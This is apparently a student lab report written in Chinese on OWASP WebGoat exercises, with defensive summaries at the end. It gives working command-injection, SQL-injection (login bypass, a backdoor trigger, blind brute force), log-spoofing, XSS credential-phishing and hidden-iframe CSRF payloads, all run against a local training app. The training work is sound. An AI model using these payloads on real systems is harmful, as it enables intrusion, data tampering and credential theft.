20145221高其_Web安全基礎實踐

20145221高其_Web安全基礎實踐

目錄

實踐目標

  • (1)理解經常使用網絡攻擊技術的基本原理。
  • (2)Webgoat實踐下相關實驗。

WebGoat

  • WebGoat是由著名的OWASP負責維護的一個漏洞百出的J2EE Web應用程序,這些漏洞並不是程序中的bug,而是故意設計用來說授Web應用程序安全課程的。這個應用程序提供了一個逼真的教學環境,爲用戶完成課程提供了有關的線索。
  • 由於WebGoat是基於java開發的軟件,因此它具備平臺無關性,在各類操做平臺上均可以運行,因此本次實驗所處的系統爲kali機
  • 在命令行中輸入如下指令便可運行相關jar
    • java -jar webgoat-container-7.0.1-war-exec.jar
  • WebGoat默認使用8080端口,因此在看到相關提示後便可開始:INFO: Starting ProtocolHandler ["http-bio-8080"]

BurpSuite

  • Burp Suite 是用於攻擊web 應用程序的集成平臺。它包含了許多工具,併爲這些工具設計了許多接口,以促進加快攻擊應用程序的過程。
  • 配置本機BurpSuite
    • Proxy->Option中選擇add添加項,設置代理IP及其端口(我設置的是8088和127.0.0.1),添加完畢後選擇run啓動
    • 在瀏覽器中(以火狐舉例),在Preferences->Advanced中選擇Settings,勾選Manual proxy configuration,輸入剛剛設置的IP與端口便可
    • 而後在Proxy->intercept點擊`「Intercept is off」,便可啓用代理

Injection Flaws

Command Injection

  • 這個界面能夠執行系統命令並返回給用戶,因此應該在請求項裏面添加shell命令,執行ifconfig
  • 具體來講,就是用前文提到的BurpSuite工具攔截請求,並將其中的參數改成(個人是這樣):
    • AccessControlMatrix.help"& ifconfig"
    • 表示執行這2個指令,在網頁的最後能看到ifconfig的結果,成功

Numeric SQL Injection

  • 要求:嘗試用SQL注入,使得能查到全部的天氣
  • 思路也很簡單,直接構造永真式,便可查找到全部記錄
  • 既能夠按照上一題的思路用工具捕包修改,也能夠直接按F12修改網頁源文件,將須要查找的value改成:101 or 1=1
  • 點擊go,看到全部城市的天氣,成功

Log Spoofing

  • 題目的意思是要你寫一個SQL字符串,由於網頁會將你輸入錯誤的用戶名返回給你,因此咱們的目標是使得網頁返回給你的結果顯示的你登陸成功同樣
  • 因此在用戶名那構造語句:gq%0d%0aLogin Succeeded for username: admin

LAB:SQL Injection

Stage 1:String SQL Injection

  • 根據描述,是要求你在不知道密碼的前提下,還能登陸成功
  • 那也就只能用SQL注入了,利用SQL相關語法,利用'進行先後封閉,構成一個永真式,這一題較爲基礎,構造方法也不少,我用的是'or 1='1
  • 須要注意的是:若是直接寫永真式,會超過字符長度限制,而通常永真式超過了限制的8字符,因此得F12查看源代碼,對密碼輸入長度進行擴大,再進行注入;或者能夠構造一個密碼,使得儘可能提早封閉,如我上述的密碼,恰好8個字符。
  • 爲了能取得權限,最好選擇admin登陸,最後左邊欄會有提示成功

Stage 2:Parameterized Query #1

  • 這個沒有測試成功,最後才發現題目中有這樣一句話,可能只有開發版的才能夠成功吧
  • THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAThtml

Stage 3:Numeric SQL Injection

  • 題目要求:登陸Larry帳戶,可是能查看Boss的信息
  • 因此首先根據Stage 1中的萬能密鑰取得Larry權限,這樣咱們就能夠點擊ViewProfile來查看相關信息了,顯然此時只能查到本身的信息
  • 但細究其原理不難發現與以前一模一樣,此時要查看老闆信息,本質上仍是查詢數據庫中字段爲老闆的那條記錄並輸出,因此仍然能夠在請求時注入,不一樣的是此時沒有輸入框提供注入字符串,因此咱們要藉助前文所提到的BurpSuite工具,攔截此時的請求包,構造SQL請求參數,須要將employee_id的值改成101 or 1=1
  • 但測試後發現仍舊顯示Larry的信息,猜測是否是由於界面過小隻能顯示一個?我這樣的注入能夠將全部的信息全查詢到,那怎樣讓它輸出的第一個就是咱們想要的老闆信息呢?
  • 仔細觀察Larry的信息表能夠發現有Salary這一字段,說明數據表中也存在,那麼對於一個老闆來講工資最高,我就能夠以工資爲條件,對查詢結果進行個排序,構造SQL語句以下:
    • 101 or 1=1 order by salary desc
    • 成功,老闆工資450k,畢竟老闆!

Stage 4:Parameterized Query #2

  • Stage 2,只能在開發版上成功

String SQL Injection

  • 要求:要你輸入正確的Last name登陸進去
  • 顯然我啥都不知道,只能用萬能密鑰試一試了,根據前文輸入:
    • 'or 1='1
    • 成功,由於爲永真,因此任何用戶的信息都看見了

Database Backdoors

  • 根據題目要求是要你使用多條語句的SQL注入,更新數據表
  • 根據前一篇博客的多條語句注入練習,在此,設置以下SQL語句:
    • 101; update employee set salary=10000
    • 發現數據表全部人員工資都等於10000已經更新,成功
  • 以上是第一步要求,第二步要求:更加高級的是插入後門,下邊這個後門好象是建立新用戶的時候會自動修改郵箱爲你的郵箱
    • 101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid

Blind Numeric SQL Injection

  • 數字盲注,有些時候存在SQL注入,可是獲取不到咱們須要的信息,此時能夠經過SQL語句的條件判斷,進行盲注。
  • 好比這一關,咱們知道一個cc_number=1111222233334444,可是想知道其pin在pins table裏的值,可使用盲注進行爆破,輸入
    • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
    • 打開BurpSuite工具監聽,捕獲到第一條請求報文,由於須要反覆嘗試咱們能夠經過該工具進行暴力破解
  • 右擊報文選擇send to intruder,而後在Intruder下選擇相關設置:
    • Target中,設置本機IP地址HOST,和端口號,也就是WebGoat的地址和端口號
    • Positions中,選擇Sniper模式,而後用光標選中須要暴力窮舉的變量,在此處是account_number後的值,而後點擊右側的add添加(在此以前點擊clear清空全部的)
    • Payloads中,選擇type類型爲number,而後設置變化範圍,並設置步長爲1,這樣能夠精確地找到數據包變化的number,從而便於咱們確認位置
    • Options中,選擇Start attack開始攻擊
  • 找到數據包大小變化的位置2364,用2364登陸,成功!

Cross-Site Scripting (XSS)

Phishing with XSS

  • 反射型XSS是最經常使用,也是使用得最廣的一種攻擊方式。它經過給別人發送帶有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特色是非持久化,必須用戶點擊帶有特定參數的連接才能引發。
  • 將下邊的代碼輸入到文本框,XSS會形成一個釣魚的登陸界面,用來騙取登陸帳戶和密碼
</form>
  <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

Stored XSS Attacks

  • 這是一種最典型的儲存型XSS的例子,由於沒有對用戶的輸入進行編碼,因此用戶A能夠任意輸入,而後用戶B點擊用戶A的留言,觸發了XSS,致使中招
  • 具體操做是這樣的:
    • title能夠任意輸入,根據第一次嘗試能夠發現,輸入的這個能夠做爲一個超連接更新保存在本界面,點擊後便可查看輸入內容
    • Message輸入消息,能夠嵌入一段js代碼,用戶點擊後便可觸發,例如輸入:<script>alert("20145221 attack succeed!");</script>

Reflected XSS Attacks

  • 根據題目能夠知道這是一個反射型的XSS攻擊,類同於第一個,在交互輸入的位置有XSS漏洞,直接構造一段腳本便可發起攻擊,例如輸入如下代碼便可成功:
    • <script>alert("20145221 attack succeed!");</script>

Cross Site Request Forgery (CSRF)

  • 這裏是一個儲存型XSS和CSRF結合的示例,CSRF就是冒名登陸,用代碼僞造請求
  • 這裏是把CSRF惡意代碼利用儲存型XSS放到了網頁上,經過留言Message裏輸入,構造惡意代碼以下
    • <iframe src="attack?Screen=504&amp;menu=900&amp;transferFunds=5000"></iframe>
    • 當用戶點擊這個留言,就會觸發,顯示已轉走5000元
    • 注意:上述screen和menu參數的值和網站右邊顯示的要保持一致
    • 若是想讓用戶在不查覺的狀況下,能夠將<iframe>中的長和寬參數設爲1像素,這樣就看不見了

總結

SQL注入攻擊原理,如何防護

原理

  • 就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
  • 具體來講,它是利用現有應用程序,將(惡意)的SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。

防護

  • 檢查變量數據類型和格式
    • 若是你的SQL語句是相似where id={$id}這種形式,數據庫裏全部的id都是數字,那麼就應該在SQL被執行前,檢查確保變量id是int類型;若是是接受郵箱,那就應該檢查並嚴格確保變量必定是郵箱的格式,其餘的類型好比日期、時間等也是一個道理。總結起來:只要是有固定格式的變量,在SQL語句執行前,應該嚴格按照固定格式去檢查,確保變量是咱們預想的格式,這樣很大程度上能夠避免SQL注入攻擊。
  • 過濾特殊符號
    • 對於沒法肯定固定格式的變量,必定要進行特殊符號過濾或轉義處理。以PHP爲例,一般是採用addslashes函數,它會在指定的預約義字符前添加反斜槓轉義,這些預約義的字符是:單引號 (') 雙引號 (") 反斜槓 () NULL。
  • 綁定變量,使用預編譯語句
    • MySQL的mysqli驅動提供了預編譯語句的支持,不一樣的程序語言,都分別有使用預編譯語句的方法
    • 這樣作的好處就是,若是我輸入密碼:'or 1='1,那他也只會被看成密碼來處理,不會和sql語句其餘結構關聯

XSS攻擊的原理,如何防護

原理

  • 惡意攻擊者往Web頁面裏插入惡意腳本代碼,而程序對於用戶輸入內容未過濾,當用戶瀏覽該頁之時,嵌入其中Web裏面的腳本代碼會被執行,從而達到惡意攻擊用戶的特殊目的。

防護

  • 一種方法是在表單提交或者url參數傳遞前,對須要的參數進行過濾
  • 在輸入方面對全部用戶提交內容進行可靠的輸入驗證,提交內容包括URL、查詢關鍵字、http頭、post數據等
  • 在輸出方面,在用戶輸內容中使用<XMP>標籤。標籤內的內容不會解釋,直接顯示。
  • 嚴格執行字符輸入字數控制,由於XSS代碼每每不少,因此要對字符數進行控制

CSRF攻擊原理,如何防護

原理

  • 跨站請求僞造,攻擊者盜用了你的身份,以你的名義發送惡意請求。
  • CSRF可以作的事情包括:以你名義發送郵件,發消息,盜取你的帳號,甚至於購買商品,虛擬貨幣轉帳
  • 形成的問題包括:我的隱私泄露以及財產安全。

防護

  • 驗證碼
    • 能夠在某些敏感操做過程當中,加入驗證碼,以確認用戶身份
  • Token
    • CSRF能攻擊成功,根本緣由是:操做所帶的參數均被攻擊者猜想到。既然知道根本緣由,咱們就對症下藥,利用Token。當向服務器傳參數時,帶上Token。這個Token是一個隨機值,而且由服務器和用戶同時持有。當用戶提交表單時帶上Token值,服務器就能驗證表單和session中的Token是否一致。

實驗感想

  • 在安全領域,通常用帽子的顏色來比喻黑客的善與惡,「白帽子」和」黑帽子」是就是兩個徹底對立的羣體。對於黑帽子而言,他們只要找到系統的一個切入點就能夠達到入侵破壞的目的,而白帽子必須將本身系統全部可能被突破的地方都設防,以保證系統的安全運行。
  • 看起來好像是不公平的,可是安全世界裏的規則就是這樣,可能咱們的網站1000處都佈防的很好,考慮的很周到,可是隻要有一個地方疏忽了,攻擊者就會利用這個點進行突破,讓咱們另外的1000處努力白費。
  • 而如今咱們不少網絡模型都是B/S結構,這樣web安全問題就愈來愈突出了,本次實踐只是冰山一角,真正現實中可能會遇到更多更復雜的問題。
相關文章
相關標籤/搜索